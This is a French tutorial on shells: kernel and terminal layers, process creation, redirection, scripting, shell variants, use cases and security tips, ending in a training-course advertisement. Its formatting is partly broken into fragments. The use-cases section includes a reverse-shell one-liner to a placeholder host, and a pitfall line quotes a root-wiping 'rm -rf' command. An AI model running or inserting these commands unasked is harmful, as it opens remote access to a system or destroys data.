
Un guide complet et moderne pour les développeurs, ingénieurs DevOps et utilisateurs avancés curieux.
Un shell est un programme qui se situe entre vous et le noyau du système d'exploitation (OS). Il transforme les commandes que vous tapez (ou script) en appels système bas niveau que le noyau comprend, puis renvoie les résultats pour que vous puissiez les lire ou les rediriger. En résumé, un shell est à la fois :
| Couche | Rôle | Outils typiques |
|---|---|---|
| Noyau | Gère directement le CPU, la mémoire, les périphériques, les systèmes de fichiers | Linux, XNU, NT |
| Shell | Convertit les commandes humaines en appels système au noyau | bash, zsh, fish, PowerShell |
| Terminal | Affiche les entrées/sorties texte et envoie les frappes au shell | xterm, gnome-terminal, iTerm2, Windows Terminal |
Un « terminal » est juste la fenêtre ; le « shell » est ce qui s'exécute à l'intérieur de cette fenêtre et communique avec le noyau.
strace ou dtruss.1971 – sh de Ken Thompson livré avec Unix Version 6. Il a établi $PATH, la redirection (>, <), et les pipelines simples.
$(… ).Un CPU en mode utilisateur ne peut pas toucher directement le matériel ; il doit passer en mode noyau via des appels système. Le shell s'exécute entièrement en espace utilisateur, s'appuyant sur ces appels (read, write, execve) pour faire le vrai travail.
fork() – duplique le processus courant.execvp() – remplace la mémoire de l’enfant par un nouveau programme.waitpid() – le parent bloque jusqu'à la sortie de l’enfant ; récupère le statut de sortie.readline() → parse() → fork() ─┐
│ enfant → execvp() → programme s'exécute
parent ← waitpid() ←─────────────┘
Chaque commande que vous tapez déclenche ce mini cycle de vie.
Les jetons sont séparés par des espaces, puis développés : variables $HOME, substitution de commande $(date), arithmétique $((1+1)).
| Fichier | Chargé quand | Usages courants |
|---|---|---|
~/.profile |
shells de connexion | configuration PATH, locale |
~/.bashrc |
shells interactifs | alias, invite |
~/.zshrc |
zsh interactif | plugins, thème |
\u@\h:\w \$ pour utilisateur, hôte, répertoire courant.Ctrl-Z pour suspendre, bg/fg pour gérer tâches avant-plan & arrière-plan.Zéro (0) = succès ; non-zéro signale une erreur. $? expose le dernier code.
> écrase, >> ajoute, < fichier d'entrée.commande1 | commande2 envoie la sortie standard du premier vers l'entrée standard du second.*.c correspond à tous les fichiers source C.**/*.py (avec shopt -s globstar ou zsh) recherche récursivement.#!/usr/bin/env bash
set -euo pipefail # mode strict
for f in *.log; do
grep -q ERROR "$f" && echo "Alerte : $f"
done
dash léger pour /bin/sh sur Ubuntu ; bash riche en fonctionnalités pour le travail quotidien.
tcsh offre auto-complétion et correction de commande mais hérite d’une syntaxe particulière (if (expr) then … endif).
Toujours populaire dans les environnements UNIX anciens ; combine la simplicité de Bourne avec les tableaux style C.
ls **/*(.om[1,5])).fish_config.PowerShell 7+ – traite des objets dans les pipelines, pas du texte :
Get-Process | Where CPU -gt 100 | Stop-Process
Classique cmd.exe pour scripts hérités.
Fournissent fenêtres, docks, compositeurs ; invoquent les shells CLI en coulisses pour les tâches.
Bash pilote Dockerfiles, GitHub Actions, conteneurs init Kubernetes.
SSH vers des centaines de serveurs ; combinez for host in $(<hosts); do …; done.
cat access.log | awk '{print $9}' | sort | uniq -c | sort -nr | head
Shells inverses (/bin/bash -i >& /dev/tcp/host/4444 0>&1), tri des logs, analyse malware avec strings, hexdump.
Les scripts shell orchestrent Jupyter, conda, et jobs Slurm pour que d’autres rejouent les expériences.
Ne jamais exécuter les tâches quotidiennes en root ; utilisez sudo avec règles fines.
$(…) ou backticks.rm -rf / tmp/* (espace manquant) efface la racine.set -o noclobber pour éviter les troncatures accidentelles avec >."${var}".fail2ban + clés SSH.Oh-My-Zsh, Starship prompt, Powerlevel10k fournissent statut git et codes de sortie en ligne.
Complétions pilotées par IA (GitHub Copilot CLI, Warp AI), intégration en terminal de diagnostics style VS Code.
Ctrl-Alt-F3.| Commande | But | |
|---|---|---|
pwd |
afficher le répertoire courant | |
ls -lah |
lister fichiers, tailles lisibles | |
cd /chemin |
changer de répertoire | |
man <cmd> |
ouvrir la page de manuel | |
| `history | grep ` | rechercher dans l’historique des commandes |
tldr pour exemples concis (npm i -g tldr)Maîtriser le shell est le chemin le plus rapide du consommateur à l’utilisateur avancé. Que vous construisiez un mini-shell en C, déployiez des microservices, ou fassiez de la rétro-ingénierie binaire, les concepts ci-dessus — création de processus, redirection, discipline de scripting, et hygiène de sécurité — forment la base de l’informatique professionnelle.
Lancez une VM, exécutez strace -f bash, et observez vos commandes traverser la frontière utilisateur–noyau en temps réel. Chaque invite est une invitation à automatiser le fastidieux, enquêter le complexe, et concevoir des systèmes résilients. Bon hacking ! 🚀
Si vous avez trouvé ce contenu utile, imaginez ce que vous pourriez accomplir avec notre programme de formation élite complet de 47 semaines. Rejoignez plus de 1 200 étudiants qui ont transformé leur carrière grâce aux techniques de l'Unité 8200.